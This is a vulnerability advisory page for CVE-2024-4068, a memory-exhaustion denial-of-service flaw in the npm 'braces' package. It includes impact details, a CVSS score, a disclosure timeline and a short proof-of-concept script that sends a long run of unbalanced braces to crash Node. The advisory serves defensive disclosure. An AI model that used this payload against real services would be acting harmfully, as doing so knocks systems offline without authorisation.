---
title: "CVE-2024-4068"
date: "2024-04-29T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cve-2024-4068/"
---

# CVE-2024-4068

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

CVE-2024-4068  **Published:** Apr 29, 2024

CWE-1050 Excessive Platform Resource Consumption within a Loop  7.5 High Severity crash denial of service dos heap heap overflow javascript memory memory exhaustion memory limit npm

MT Mário Teixeira  Reported by Checkmarx Zero

Details Overview

## Summary

The NPM package `braces` fails to limit the number of characters it can handle, which could lead to Memory Exhaustion. In `lib/parse.js`, if a malicious user sends “imbalanced braces” as input, the parsing will enter a loop, which will cause the program to start allocating heap memory without freeing it at any moment of the loop. Eventually, the JavaScript heap limit is reached, and the program will crash.

## Product

This vulnerability affects all versions of the NPM package `braces`.

## Impact

The JavaScript heap limit is reached, and the program will crash.

## Steps to reproduce

1. Install micromatch with “npm”:

`npm install --save micromatch`

2. Create a `poc.js` file with the following code:

```javascript
const { braces } = require('micromatch');

const not_vulnerable = 'a'.repeat(65531) + 'n!/{}';
const payload = '{'.repeat(65531) + 'n!/{}';;

braces(not_vulnerable);
console.log("Non-vulnerable pattern ran as expected...n");

console.log("Executing payload...");  
braces(payload);
console.log("Not vulnerable to memory exaustion.");
```

3. Execute the proof-of-concept file with `node poc.js`.

### Expected result:

The payload that calls braces with a repeated number of imbalaced braces `{` will crash the program and the message “Not vulnerable to memory exaustion” is never shown. Another character, such as `a`, allows the script to execute without exhausting the memory.

## Remediation

No remediation was applied in the latest version 3.0.2.

## Credit

This issue was discovered and reported by Checkmarx AppSec Analyst [Mário Teixeira](https://www.linkedin.com/in/marioleitao-teixeira/).

## Resources

1. [Issue](https://github.com/micromatch/braces/issues/35)
2. [Vulnerable Code](https://github.com/micromatch/braces/blob/98414f9f1fabe021736e26836d8306d5de747e0d/lib/parse.js#L308)

0  High Severity CVSS v3.1 Score

   7.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High

Advisory Timeline1. Discovered Jul 28, 2023
2. Disclosed Aug 7, 2023 The vulnerability was privately disclosed to the maintainer.
3. Published Apr 29, 2024 The vulnerability was first disclosed with a CVE.

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)
